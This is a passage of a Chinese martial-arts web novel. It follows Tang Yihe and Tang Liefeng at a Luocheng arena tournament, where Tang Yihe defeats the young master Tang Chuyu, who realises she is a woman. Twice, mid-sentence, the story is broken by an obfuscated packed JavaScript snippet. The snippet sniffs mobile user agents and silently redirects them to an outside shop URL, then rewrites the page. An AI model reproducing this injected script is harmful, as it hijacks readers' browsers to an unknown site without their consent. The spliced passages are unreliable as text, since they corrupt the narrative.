君白术一边施展飞针绝技,一边嘴里叨叨个没完,听得唐一禾都想呼他一巴掌。但都到了投奔人的地步了,必须要交点底了,于是唐一禾除了师承身份含糊其辞,一句带过之外,将她和师弟如何来到罗城就莫名其妙与“鬼面夫妇”结了仇,又是如何在老陆的保荐下去打金章擂台,以及如何卷入广通镖局灭门案的经过,捡着重点大致说了一遍。 这下君白术彻底兴奋了,越扎越舍不得结束,直到唐烈风都看不过眼去:“君神医,师姐可能有点冷了,你给我扎,也可以聊天。” “对对对,来,你脱掉上衣,裤子也脱了,我给你也好好地扎一扎。”君白术撸拳擦掌的,让唐烈风心生不妙,觉得他的下一句话更是包藏祸心,“包管扎完精气充沛,内力丰盈,一身牛劲儿都没处使。” 待扎完针、吃过饭、喝过药,君白术才依依不舍的起身走到厢房门口:“哎?你们今晚,确定要住一间厢房吗?这里只有一张床呀,旁边还有空房间,要不要收拾出来,很快的。” 唐一禾摇摇头说:“太晚了,就不麻烦了,我与师弟一路风餐露宿,不拘泥于小节。今晚实在叨扰太久,大伙儿还是快休息吧。” 君白术点点头,颇有深意的看了唐烈风一眼,笑道:“你们二人情深意重,自然问心无愧,那我就先走了。” “他这话,怎么怪怪的?”唐一禾伸了个懒腰,不做他想,胡乱擦了一把头脸,倒头就睡。 “他就是怪怪的。”唐烈风一边收拾,一边嘟囔着说,“可能是嫉妒。” “哼,只怕有人问心有愧,看他今晚怎么熬?”君白术心情舒畅,迈着小步回到自己卧房,哼着小曲进入了梦乡。 …… 深夜,拳庄外,一栋雕梁画栋的楼阁上,一名高大的男子面朝锦江背手而立,风吹拂着他花白的须发,似乎将他的思绪带到了很远的地方。 过得半晌他才转过身,温和而又威严的脸上,一双眼睛像打磨过的宝石,闪烁着冷静睿智的光芒,正是唐楚玉的外祖父、拳庄的东家、“白记”商号的主事人——白珩。他静静地看着屋内的两名少年:“想好了?那就去吧,我自会给你们安排。” “耶!”唐楚玉欢呼起来,冲过去抱住白老爷子,“我就知道您最好,最最疼我。” 白珩虽年过五十,须发花白,但五官深邃,气度不凡,这么看唐楚玉的相貌倒有几分遗传外祖父。白珩膝下只得一个女儿,红颜早逝后留下唐楚玉这一根独苗,非常之不省心,白老爷子的头发倒有一半是为操心唐楚玉而白的。 “走开!”白珩拂开抱住自己脖颈的外孙,却任其牛皮糖一样贴在自己胳膊上,“那你倒说说,为啥非要自个儿上场跟‘神锋无影’打一场?” “他太好玩了。”看到外祖父瞪了自己一眼,唐楚玉马上改口,“今儿您看到他用的什么功夫了吗?经部的《筋经》啊!不知道从哪里偷学的,一开始打得乱七八糟,后来竟然有模有样了。您再想想他上一轮打‘明月清风’,不过两炷香功夫,就能把对手的绝招学会,以其之道还施彼身,这等聪敏机智,本少爷当然要亲自下场,指导一二了。” “经部的《筋经》,为什么是偷学的?”高文璟不解。 “经部的人都快死绝了。”唐楚玉说到这,也是神色难辨,“唐至青那老小子,自己被师弟们欺负狠了,就把全部的心血用来栽培一个爱徒。不过唐司雅确实无可挑剔,优秀得让其他两个阁主都坐不住了,合起伙来给他挖坑。结果倒好,唐至青不经气,先把自己气死了,也让另外两个阁主搬起石头砸了自己脚,这不正四处寻唐司雅呢。呵呵,真是天道好轮回。” “在弟子名姓谱牒上,经部不是还有一个弟子吗?”高文璟淡淡地问。 “那是个傻的。据说是唐至青捡的一个女婴,养着养着觉得天资不错,就收下了,但七八岁时掉进池塘差点淹死,醒过来后脑子就不太清楚了,就知道满山疯跑,据说也没见着唐至青教过半点功夫。”唐楚玉略带不忍的说,“就这样一个毫无威胁的傻姑娘,人刚出洛川,就被唐至雄关照过的西北马帮灭口了。” “这么说来,神锋和无名究竟是唐门哪一支养在外面的奇兵呢?”白珩捻着长须,又摇摇头说,“也不像,奇兵理应精心培养,这两人更像是无心插柳。也好,那你们俩个,就去探个底出来。” 一说到文璟,白珩的表情明显舒展了——这个才更符合理想中的乖孙,文韬武略无一不精,沉稳有度又杀伐果断,远比楚玉那孩子定得住,只可惜是陇北高家那边的。 “文璟,你说说,你为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522924|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直关注忌惮那个无名?”白珩转向高文璟,声音都变得柔和了许多。 “回白家阿公。”高文璟拱手,毕恭毕敬地说,“今日之前只是关注欣赏,今日之后就是忌惮小心了。” “哦?我看他今日打得不怎么样啊,不妨细说看看。”白老爷子的态度更加春风拂面。 高文璟斟酌了一会,才娓娓道来:“第一轮,他跟神锋一样在试探、在学习,但他并不如神锋绝顶聪明,一看就会、一会就敢上手。第二轮,虽一招制胜,却也暴露出了心性不稳的不足。但在第三轮,他表现出来的状态很不一般,在擂台上不是求胜、而是求败,他在突破他自己。你说“九转心经”都在第八层了,他在突破什么?” “啊?这不可能!”唐楚玉发出一声惊呼,被白老爷子一盯,犹是不服气地嚷嚷,“山影说了,无名也就跟我们差不多大,可能还小一两岁,第八层我都咬着牙给他算了,可能也就第二轮的那一剑,能攀上第八层的边儿。第三轮我可看不出,他哪里有第八层的样子。” 白珩闻言也沉思起来,过了一会才问:“发现山影跟踪的,是神锋还是无名?” “是神锋。”唐楚玉又补了一句,“感觉神锋是头儿,无名都听他的。” “嗯。”白珩点点头,郑重地说,“这二人虽不明底细,但前途不可限量。你们听好了,后天擂台上的较量,不一定非要争个输赢。上策是将对手打得心悦诚服,方可威之诱之。中策为双方心心相惜,随之相识相知。下策则是任一方惨败,进而心中愤恨。” “他们再厉害,也不过是东一榔头西一棒子地偷师学艺,我们两个怎么可能会输?”唐楚玉又嚷起来。 “你给我闭嘴!”白珩自然也不会认为高文璟和唐楚玉会输,只是做了万一的打算,“尽量避免下策,无论如何,擂台赛后我自将鲜花重金铺路,帮你们牵线搭桥,能不能让其为你们所用,就看你们自己的本事了。” …… 这个夜里,另一个对唐一禾和唐烈风抱有极大兴趣的人,就是唐司南了。 唐少阁主最近有点焦头烂额。 东边的战事紧了,漕运、走镖、盐井以及外头官场打点的事儿都要反复斟酌,父亲明面上云淡风清的样子,实则账本看得极细,手脚只怕要做得更干净些。 还有就是唐门令下的实在太突然,唐门老祖的身边泼不进去水,实在猜不出老祖的意图。 三十年前洛水一战中,唐川之虽击败强敌,立不世之功,但身负重伤,归来后一直隐居闭关,不问世事,俗事皆由父亲代掌门料理。但在唐门数万弟子心中,仍唯老祖唐川之马首是瞻,老祖的一句话,别说自己了,就是父亲的一切都可能化为乌有。 此外,唐司雅的事儿也没办利索,四年的功夫,搭进去多少人财物,最后竟然替人作嫁衣裳,那就看三位阁主怎么熬这月圆之夜。 但眼下最让唐少阁主糟心的,当属广通镖局的灭门案了,明明知道是唐司泽那王八蛋做的手脚,竟然抓不住他的小辫子。这罗城以及周边都快拿筛子筛过了,当日的死士一个活口没抓到不说,手上的线索还在一条条地断。 唯一让唐少阁主欣慰的消息是——陆曼娘还活着,虽然经过此事,要她心甘情愿地嫁过来怕是更难了。但女人嘛,无非是多花点时间和功夫,总能有办法的。 想到白日跟陆炳中的会面,唐司南不屑地“哼”了一声,这老匹夫扮上了苦主,不仅要钱要人要保证,还话中有话的把他训了一番,真的是倚老卖老。问到那救人的两名侠士,竟然一点消息都不肯吐露,还说二人已经离开了他提供的住处,联系不上了。 这真是睁眼说瞎话,天下还真有肯豁出去性命救人追凶、不图半分回报的傻子吗? 答案是,还真有。 一大早,东方刚露鱼肚白,君白术就急不可耐地跑去找唐少阁主嘴里的两个傻子。厢房的门是开的,君白术眼巴巴的探过头去看热闹,结果大失所望,只见二人穿戴整齐、神色如常,正在复盘比赛的对手及招式。 见到君白术,唐一禾笑着打招呼:“白术早啊,来来来,正缺个人,你来试一下这招,你觉得横打天突、还是侧击肋下更合理?” 君白术应声过去,一边狐疑地打量了一下唐烈风——昨夜给他扎了独门针法,包管精气充盈、欲壑难填,尤其这般精劲的少年郎,只怕半夜不出去冲几回冷水澡,都是下不去的。 尽管相处时间不长,君白术看得很明白,师姐唐一禾没有半分别的心思在,阳刚得很,尿怕是都可以入药。而唐烈风看他师姐的眼神谈不上清白,如果昨晚他按耐不住,估计今早又可以看一回鼻青眼肿、翻脸成仇,就算他按耐住了,那也逃不过目赤面热、眼底青黑。 所以才一早跑来看好戏,结果对上唐烈风的眼神—— 君白术打了个寒战。 10. 决赛对手 眼前的唐烈风,神采奕奕、眼神明亮,没有一丝颓败的气息,而唐一禾一如往常的英气勃勃,招式耍的虎虎生风。 难不成是?君白术避开唐烈风的眼神,四处东张西望起来,然后又吸吸鼻子,空气中也没有任何异样,难道是自己看走了眼? “君神医。”唐烈风见君白术眼神躲闪,决定挑明了说,“昨日你扎的针真是效果显著,让我站稳了‘九转心经’第八层,但师姐说取巧之术不可多用,练功还是稳打稳扎地好,你说是也不是?” “是是是。”君白术赶紧顺坡下驴,“以后我不自作主张了,你需要的话,我再给你扎。” 君白术突然觉得自己小觑了唐烈风。他一开始,完全只被唐一禾吸引,等到现在才发现,看似单纯的师弟也不是个简单的。唐烈风现在的言外之意再明白不过了,把一切压下不谈,是因为不想让师姐知道——揭露了君白术的坏心眼,他的心思也藏不住。眼神相接的一瞬间,君白术还读懂了唐烈风没说出口的威胁——他并不相信他,若要相安无事,就不要再动歪主意。 君白术心下冷哼,转过脸去跟唐一禾聊天。相比唐烈风的冷淡无趣,唐一禾真是个妙人,生机勃勃、眼界开阔,更触类旁通、精通药理。这简直太对君白术的胃口了,要不是还要去坐堂看诊,他一天三顿都要拎着饭盒过来一起吃,要不是她是女子之身,他恨不得都不走了,不管要遭受多少唐烈风的冷眼。 “你不觉得君白术,有点过于热情了吗?”晚饭后待君白术终于离开,唐烈风忍不住嘟囔了一句。 “啊?我还觉得我过于热情了,要不是会显得我很蠢,我恨不得把《毒经》里所有搞不懂的问题,都一股脑问出来。”唐一禾眨眨眼睛,很认真的回想了一下,今天到底谁比较热情,“白术于医理一道,实在是钻研得深,毒经医理同根同源,有了他的指点迷津,我今天一天学到的比前一年都多。回头我跟你也讲一遍,你听听再说。” 唐烈风垂眸,哼了一声:“那就是心心相惜吧。” “对,就是要这个感觉。”唐一禾一拍大腿,“我装了一天高人了,东拉西扯地故作高深,就怕他看透我的底细后,就不肯再给我讲了。” “你拍的是我的腿。”唐烈风好心提醒。 “我知道啊。”唐一禾振振有词,“拍自己的会痛啊。” 唐烈风不禁莞尔,这就是他的师姐,坦荡、大方、性子快活、脑子灵光,只要她想,就很容易跟人打成一团,不像他,既沉闷又纠结,很难向人敞开心扉。 “来来来,白术他终于走了,咱们可以关起门说话了。”唐一禾笑眯眯地对师弟说,“一早就看出来了,你的内力又精进了,而且一改昨日下擂台后的丧气。是不是昨晚又悟到了什么?” 唐烈风心中一热,师姐对他还是不一样的,刚才那点不开心全抛到了脑后,老老实实地说:“‘九转心经’没有悟出新的,还是按照之前的法子运转周天,内力更充沛稳固了些。” “那也好。”唐一禾翘起嘴角,竖起拇指,“渐次而进,跬步千里。” 看到师姐欣喜的脸,唐烈风心中畅意,一把握住唐一禾的手说:“不止这个,师姐,我好像悟到了前日与‘鬼夫’朗琅对战时的境界。” 看到唐一禾脸露迷惑,唐烈风将前日与“鬼夫”朗琅交手时,突然进入的那种奇妙的顿悟之感,然后在擂台中尽管反复将自己处于险境,却始终离那个境界差了一层的经过,尽可能详细地讲了一遍。 “就是,我知道它在那里,但我就是摸不到它。”唐烈风难得地语气激动起来,抓着唐一禾的手放到心口前面,“然后,然后,昨天晚上,我坐在这里,看着你,你那边的黑暗,突然好像就明白了。” “我想了一晚上,师姐,招式是死的,人是活的,我们上擂台学对敌,不是学招数套路,而是学以心驭剑、以意御敌,最后将剑招内化于心,才能做到进攻行云流水,防守顺势而为。” “你的意思是返璞归真,大道至简?”唐一禾似乎也开了点窍,跟着说道,“‘赤焰’是不是就是这么做的?他总是后于对方出手,通过观察对手的破绽,以最简单、最直接的方式击败对方,而非依赖复杂的招式。” 唐烈风点点头,师姐果然聪明绝顶,但现在看“赤焰”似乎也不是那般心如止水了。“赤焰很厉害,他的洞察和应变能力,都已踏入一流高手行列,但是第三轮一招制敌不是他的初衷,他也破了心境。”唐烈风自信地说。 “没错,没必要涨他人志气,灭自己威风,我看他也没什么可怕。”唐一禾反手抓住师弟的手,用力一握,“我等着看你赢过他,不对不对,我是师姐,我先上。” 吹灯睡觉,一夜无话。 第二天一早,君白术如期而至,却发现厢房里空荡荡的,只在桌上看到一张字条,字迹龙飞凤舞的,一看就是唐一禾的手笔。 “吾二人已赴城郊僻静处,砺刃养锐,以应今夜擂台之战。倘蒙不弃,可于戌正移步拳庄观战席。然胜负犹风涛难测,若君欲添彩作注,须知刀剑无眼、盈亏在天,某等实不敢承责。” “输赢概不负责啊,我偏要你负责。”君白术揉碎字条,轻轻地说,“果然是针戳不进的姐弟情深啊,我便要使劲儿戳进去。” 唐一禾二人一早易了容,扮作两名黑脸商贩,来到与老陆商量好的酒楼包间接头。老陆来得稍微晚了一点,进门迟疑了一下才坐下:“哎哟,吓我一跳,真没认出来,一个尖嘴猴腮的,一个像个黑炭。” “快说正事儿吧。” 尖嘴猴腮唐一禾轻敲桌面,同时凝神查探有无跟踪。 “尾巴甩掉了,放心吧。”老陆话虽如此,神色却不见轻松,“唐少阁主挺大方,钱和人都给的很足,曼娘很安全,就是追凶的线索断了,没有证据就很难将真凶绳之以法。不过唐少阁主比我们还着急,不是还有一个中毒的死士吗,等等吧。” “嗯。”唐一禾点点头,“今晚比赛,我们的对手是谁?不会是我们两个互殴吧?” 老陆神色更加郑重了:“本来是‘赤焰’对‘无名’,你对‘中原一点红’,但‘中原一点红’出了点纰漏,突然弃赛了,又新来了一个武者,现在还不知道是谁。” 唐一禾与唐烈风快速对视一眼,又都从彼此的目光中,看出决然的坚定。管他对手是谁呢,反正都不过是磨刀石。 不过当唐一禾看到这场的磨刀石时,有点愣住了——这是哪家的小少爷,吃饱饭没事干,上擂台来找打了? 只见擂台对面立着一名华服少年,不过十六七岁的样子,唇红齿白、面如冠玉,眉宇间还透着几分轻慢和傲气。 观众的窃窃私语在听到司正的宣布后,仿佛一滴水入了热油锅,顿时噼啪四溅开来。人群中有人大喊“啊,天呐,竟然是真的,唐小公子来了”、“这是什么运气,有生之年能看到唐小公子打比赛”、“快快快,去叫三娘她们莫打牌了,这边好看”、“没票了,就问问能不能加钱买个站票撒”…… 唐一禾想不到“唐楚玉”三个字的威力这么大,原本已经满满当当的观众席,在听到这场比赛的是“神锋无影对唐楚玉”后,变戏法般的又冒出无数个脑袋,前排过道、后排空地以及二楼栏杆处都挤满了人,甚至还有不少抱孩子的。 看到这般架势,唐一禾都忍不住想要跳下擂台,揪过一个妇人问问:这个唐小公子到底是什么来头?这可是少儿不宜的暴力互殴啊,蜀地妇人们的精神状态果然领先。 今晚只有三场比赛,时间充裕得很,所以不像以前那样上来就干,竟然还安排了互动环节——就是让每个参赛者绕台一圈,举手示意。同时司正在一旁拿着大喇叭喊,宣扬其辉煌战绩,目的只有一个,就是让观众们赶紧掏钱押注。 唐一禾听到给自己的宣传词是:“神锋无影,疾若闪电”、“静如处子,动如脱兔”、“遇弱不弱,遇强则强”。 呸,这词写的一点都不走心,软趴趴的,唐一禾心想,早知道有这样的机会,就该请人捉刀写几句霸气侧漏的口号,再雇人拉起巨大条幅才够排面——毕竟小爷现在也是有支持者的人了。 虽然这点支持者,相比唐楚玉,实在有点不够看。 当唐楚玉绕场的时候,感觉整个场地都在喊让他揍死自己,尖叫声、口哨声沸反盈天,尤其是粉衣绿裳的女观众们,个个喊得声嘶力竭的,怀里大点的孩子早放到了地上,小点的孩子则被吓得哇哇大哭,反正声浪之大,唐一禾感觉都要聋了——早知道让师弟也擦点粉再上台,不比这个小白脸强? “请!”只见对面的小白脸微微一笑,拱手作揖,声音清朗如玉。 话音未落,小白脸已率先出手,一掌直取面门而来,掌风凌厉,带着破空之声。唐一禾眼神一凝,脚下轻点,身形如燕,堪堪避过这一掌。然而小白脸攻势如潮,掌法连绵不绝,每一掌都带着雷霆之势,逼得唐一禾连连后退。 “好掌法!”台下有人喝彩。 “给他点颜色瞧瞧!”一个大嗓门女声,“啊,唐小公子,啊啊啊,太俊了。” “嗷嗷嗷,那腰,是夺命的刀。” “啧啧啧,那腿,是锦江的水。” “你们,把口水擦擦。”一个不耐烦的粗犷男声,“我尿黄,我来滋醒这帮娘们。” “去你娘的死屠夫,别碍着老娘看俊男。就凭你,还不够给唐小公子提鞋。” “哼,我就赌‘神锋无影’胜,男人看脸,还不如去象馆。” “慎言,唐门的人也是你能置喙的。”旁边有人善意提醒。 …… 唐一禾虽处下风,却并未慌乱,白天她与师弟拆了三千余招,虽然并不能完全掌握师弟所说的“以心驭剑、以意御敌”,但在观察判断对手的来招和意图上,也是有了长足的进步。 唐一禾打架一向喜欢率先发难,通过布好后手,利用速度的优势,打乱对方节奏,然后快速取得胜利。而对方一旦占据进攻上风,唐一禾就要花很长的时间揣摩和模仿,才能一点一点扳回来。 看来小白脸对自己很了解啊,唐一禾心想,上来就是猛攻,不给她一点机会。那就试试今天新领悟到的对敌之法吧! 此时唐一禾目光如炬,紧紧盯着唐楚玉的动作——正宗的唐门心法,正宗的唐门八卦掌,想不到这小白脸还真有几分本事,进退有据,渊停岳峙,找不到半分破绽。 那就先用《筋经》中的“拖”招,边打边看,唐一禾打定主意后,出招时也更加自信从容。她今日上台舍弃了大刀,不纯熟的武器在高手对决中,反倒是累赘。 唐楚玉心中也是暗暗称奇,神锋好像跟前几场又不一样了。在这样的强势进攻下,之前的他多少会有穷于应付的时刻,但今日竟是将门户守得密不透风,而且不管处于多下风,都有还招的余力。 想到这,唐楚玉冷哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522925|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,掌法一变,攻势更加凌厉起来,压得唐一禾应对不暇。待再拆得十余招,只见唐一禾身形一转,忽然变招,使出了一招唐门八卦掌,虽力道稍逊,却胜在出其不意,格开了唐楚玉的背后一击。 果然还是来了,好熟悉的“以其之道还施彼身”,唐楚玉心中冷笑,内息一吐,催动八卦掌如游龙般将其锁住——那就让你看看,什么是真正的唐门八卦掌。 观众只见唐小公子气势再度暴涨,身形飘忽不定,犹如空中柳絮,打出的每一掌都隐有风雷之声,一时间都看得瞠目结舌,忘记了加油助威。而对面的“神锋无影”,显然快被打傻了,只是在苦苦支撑。 唐楚玉见神锋招式已经开始散乱,使出的唐门八卦掌只有六分相似,不仅起不到偷袭的作用,反而露出了破绽。比如“游龙出海”哪能这般起势,右下侧肋不就出现空档了吗? 唐楚玉心中一喜,再度变化掌势,一掌直取对手腰间。然而就在唐楚玉掌力即将触及对方的瞬间,神锋脚下突然踏出八卦步伐,身型一转,反手一掌拍向唐楚玉肩膀。 “啪!”一声轻响,唐楚玉被这一掌逼退半步,脸上闪过一丝错愕。 台下顿时一片哗然,观众们分明看到唐小公子占尽上风,最后使出的绝招更是掌影重重,仿佛无数手掌同时袭向“神锋无影”。 怎么,怎么竟然是唐小公子被击退半步? “神锋无影赢了半招!”有人惊呼,带着难言的惊喜。 “哎呀,这不是唐小公子先礼后兵嘛。”总有美人在睁眼说瞎话。 “对啊,唐公子,别让他了,小子狡诈。” “拉倒吧,神锋才是最叼的,遇弱不弱,遇强则强。” …… 唐楚玉转念之间,已经想通原委,这个神锋果然聪明绝顶——他预判了他的预判,以退为进,然后故意露出破绽引自己上手。不过也怪自己太轻敌自负,一个托大竟丢了这么大的面子。 看来今天必须要认真打一场了,才能把场子找回来。唐楚玉神色不变,优雅地从腰间抽出一支玉笛,笛身晶莹剔透,在火光下泛着淡淡的光泽:“既然掌法分不出胜负,那就试试兵刃吧。” 唐一禾见状,眉头微皱,她的掌法已经越打越纯熟,这个小白脸功夫既高,又要显本事,用来试招最是合适不过,怎么突然又要换兵刃呢?真够讨厌的。还有就是分明输了半招,非要强调不分胜负。 唐一禾本不想动兵刃,但见对方已亮出武器,她再不用上本命武器,怕是打不过。擂台有规定,上台后不得中途下台取兵刃,而且只能使用随身携带的一样兵器。唐一禾认命的按上腰间鞭炳,手腕一抖,软鞭如灵蛇出洞,直袭对方面门,直接把小白脸那句“请”抽回嘴巴子里去。 唐楚玉见神锋软鞭来势极猛,知道这才是他的趁手武器。好小子,原来一直藏着呢,于是也不再留手,持笛迎了上去。 二人你来我往,兵刃相交,发出清脆的声响。唐楚玉玉笛招式精妙,每一击都带着凌厉的劲风,唐一禾的软鞭则灵活多变,时而如长蛇缠身,时而如利剑直刺。这一番的打斗场面实在好看,让全场观众看得目不转睛,鸦雀无声。 然而唐楚玉毕竟功力深厚,渐渐占据了上风,但唐一禾愣是靠着随机应变,以及不服输的劲儿,支撑了近一百招不显颓势。 “楚玉那小子要赢了。”二楼雅间里的白珩轻捻长须,脸带微笑地说。 “唐小公子果然少年英雄,不愧是白老爷的外孙。”山影在一旁附和,“任凭那神锋如何狡诈,碰上楚玉少爷,也只有挨打的份儿,嘿嘿。” “你说过,那神锋不过是个十五六岁的少年?”白珩转头问到。 “夜里瞧得并不仔细,神峰、无名也就跟楚玉少爷一般岁数。”山影谨慎的回答。 “一般岁数?搞不好还小一两岁。”白珩轻叹一声,“楚玉是怎么堆出来的,人家又是怎么练出来的,咱心里都有数,回头得好好跟人家学学。” 就在言谈间,场上局势突变。 打了这么久,唐楚玉已经摸清了神锋的底细,只见他忽然使出一招“玉笛横吹”,玉笛横扫,直取对手腰间,使的是十层十的功力。唐一禾急忙挥鞭抵挡,却因功力略逊一筹,被震得连连后退。就在此时,唐楚玉眼中闪过一丝狡黠,“咻得”身形一闪,绕到唐一禾身后,一掌直取背心。 唐一禾察觉不妙,急忙转身,却已来不及躲避,进退维谷之间,反手擒住小白脸手掌,身体呈一个诡异的角度转了回去,同时一脚踢向小白脸裆间。 这一招是自创的,半招《筋经》擒拿手,加半招轻功水上凫,也正是师弟所说的“顺其自然,大道至简”,虽然样子确实很狼狈,但也确实有点用。 “砰!” “砰!” 两声闷响同时响起。 一声是唐楚玉的手掌,被神锋顺势拉过,卸了大部分力道,最后按在神锋胸口。另一声则是唐一禾的档前飞脚,被小白脸见机侧过两寸,踢在了小白脸左侧大腿上。 “你……”唐楚玉忽感手掌触感有异,不由得一愣,瞪大了眼睛,脸上满是不可置信。 “去你的。”唐一禾低叱,趁对方愣神之际,手中软鞭一挥,直取对方腰间。唐楚玉猝不及防间,被这一鞭抽中,然后左腿一瘸,身形一晃,竟从擂台上跌落。 “砰!”唐楚玉重重地摔在地上,尘土飞扬。 11. 终极对决 白珩看着躺在雅间软榻上一言不发,还拿帕巾盖住脸的外孙,又好气又好笑。 “你不起来看文璟跟无名的比赛了?”白珩觉得还是不要提刚才的擂台赛,着眼当下,放眼未来。 “不看。”唐楚玉闷闷地说,“文璟输了更好,这样就不是我一个人丢脸了。” “输给神锋不丢脸,他不是你自己挑的对手吗?只能证明你有眼光。”白珩赶紧安慰宝贝外孙,“唷,文璟赢了,打得真够久的,山影你去把他也叫进来。” 听到文璟赢了无名,唐楚玉并没有多意外,毕竟文璟在武学上就是个怪物,天才中的天才。高家老太爷曾经非常骄傲地提过,文璟打小换了无数个武术师傅,短则三个月,长则一年,然后师傅都会自动请辞,表示已经没有可以教的了。后来一任重金聘请的名宿实在没办法,跑去昆仑山把自己隐居多年的宗门前辈请了出来,这才实打实教了五年。 十三岁那年,高文璟认为广阔天地自有良师益友,自请戍边,驰骋疆场,从雁门关到九原郡再到朔方城,寻山野隐士,交市井游侠,察军情线报,杀突厥探子,更是与前来叩关的蛮夷人实打实打了无数场硬仗。唐楚玉就是在朔方城与高文璟结识,在劫杀天颐可汗的途中互为肱骨,从而结下了生死之交。 此次高文璟因唐门令随唐楚玉入蜀,名义上拜制部长老唐至才为师,实则先混个内门弟子身份,以便入山拜见老祖。唐门对内门弟子要求严格,如果是带艺入门,必须将之前的内功废掉,改练唐门的心法口诀。 高文璟的怪物之处就在于此,他可以将自己的功法全部压制至丹田气海,然后从头开始学唐门的“九转心经”。在唐楚玉传授“九转心经”之后,他只用了七天就突破了第三层,之后慢了下来,但仍以可怕的速度攀升。刚到罗城时不过刚刚突破第六层,现在已经跟唐楚玉一样站稳了第七层。 唐楚玉掀开盖在脸上的帕巾,正好看到高文璟进来,立马说:“下一场,我不许你赢神锋。” “好。”高文璟神色淡淡地应了。 “怎么答应得这么痛快?”唐楚玉坐起身来,一脸狐疑。 “无名把我的气海屏障打破了,现在昆仑心法的内息,还在不受控制地外溢。”高文璟神色如常地坐上软榻,盘腿调息,“用不着让,我也打不过神锋了,除非用上本门功夫。” “我的乖乖老天爷啊。”唐楚玉瞪圆了眼睛,“这个无名怎么一下子变得这么强了,能把你逼成这样。” 白珩闻言也站起身来:“要不要唤医者进来?案上是参汤,可以喝一盏。” “多谢白家阿公。”高文璟喝了半杯参汤,才慢慢地说,“倒是没有大碍,无名比我想象中还要厉害,竟然参到了师傅说的‘大道至简’境界。最后一招,我要是不用上本门内功,少不得在床榻上躺个十天半月,只怕因此误了正事。” “对,神锋也是,最后一招也是神来之笔,要不是我躲得快,我得断后。”唐楚玉现在想起来还一阵后怕,兀自忿忿地说,“原本我也不至于输,阿公啊,我在擂台上啊,一刹那,天雷勾动地火地回想起来了,你知道那个神锋是谁不?我就想等着文璟回来一起说,真的不怪我啊,那会呆住了,实在是,太难以置信了。” 白珩一拍桌子,怒道:“你个小兔崽子,一到关键时候就在那吊胃口,快说。” “老人家火气这么大,怕是不太好。”唐楚玉撇撇嘴,一脸期盼地看向高文璟,“你说是不是?” “神锋那一脚还是踢歪了一点,可惜。”高文璟瞥了一眼唐楚玉,唐小公子立马觉得裤腰下凉飕飕的。 “神锋是个女子!”唐楚玉如愿以偿地看到了外祖父和高文璟都愣住了,于是更加骄傲地宣布自己的发现,“什么偷师唐门绝技,人家是正正经经的经部在册弟子,叫唐什么稻子的,唐司雅的小师妹。看到那个软鞭没有,顶部的黄铜小球,不就是司雅前些年找我们定制的小玩意吗?” 唐楚玉难得看到外祖父和高文璟同时震惊无语,开心得不得了,觉得自己这一脚都没白挨,忙不迭地继续证明道:“想想看咯,正宗唐门弟子,十五六岁,女的,用软鞭,黄铜小球是司雅定制的,还会《筋经》,要不要再给她,当头撒一把毒粉啊?” “休得胡言。”白珩若有所思地在屋内踱了几步,“这样就说得通了,那‘无名’十有八九就是她的那个小玩伴。哼哼,西北马帮骗了唐至雄的银子,给出了假消息,区区一帮响马,哪能杀得了这两人?” 白珩又想了一下,正色直言:“文璟,一会你跟神锋比试的时候,随便拆几招,给观众交代过去就行。山影,你去跟白安说,赛后务必将二人请至逍遥楼,备下的金子不用拿了,经部的弟子不缺钱,缺的是人。” 被人说不缺钱的唐一禾,完全不知道自己不缺钱。从第三场比赛开始,她就不敢下注了,毕竟都是高手,万一输了,连看病的银子都没有就糟糕了,那个君白术诊金还那么贵。 对了,君白术来了没有,唐一禾正了正脸上的胖娃娃面具,抬头四顾,果然看到君白术在人群里朝她挥手,笑得眼睛都眯成了一条缝。一看就是赢了钱的模样,哼。 候场区现在只剩下唐一禾一人,师弟输了之后,也不知道被引到了哪里,只是在下场的时候用手势告诉她——“赤焰”并非唐门弟子。这点唐一禾从未怀疑,她在看他第一场比赛时,就模模糊糊有了判断,只不过师弟用一场亲身比试,证实了这一点。 赶紧打吧,烈风都打不过,唐一禾没指望自己能打赢。 不过她转念一年,既然是来历练试招的,那就不应该放弃任何一次与高手对战的机会。就算是输,也不能白输,高低得好好学上一堂。要是有机会,能替师弟报仇,是不是更能彰显自己师姐的地位?唐一禾的心中开始不着边际地乱想。 但在擂台上首次正面面对“赤焰”时,唐一禾心中的不安,还是一路攀升到了顶峰。人和人之间往往有这么一种玄妙的感觉。“赤焰”让唐一禾感觉非常奇异,他的身上似乎带着一种强烈的磁场,类似于冷静捕猎者的气息,让唐一禾的心境都开始不稳起来。 她仔细看了“赤焰”与师弟的整场比赛,他太稳了,虽然场面上二人伯仲之间,但唐一禾的第六感就是告诉她,“赤焰”藏着极深的后手。不出所料,师弟最后那招分明已入化境,结果却是“赤焰”用出其不意的方式赢了——那一瞬间爆发的气息,让唐一禾不寒而栗。 “请!”擂台对面的“赤焰”发出了比赛以来第一个字,声音低沉,却也有点好听,以及熟悉。 哎,来都来了,开干吧。 唐一禾二话不说,抽出鞭子冲上去一通霹雳带闪电的招呼。“赤焰”也不含糊,一把钝剑耍得大开大合,气势如虹。二人以快打快,缠斗着从擂台这边打到那边,又从那头打到这头,看得观众们欢呼四起,掌声雷动。 唐一禾越打越不对劲,这打得也太爽了吧?! 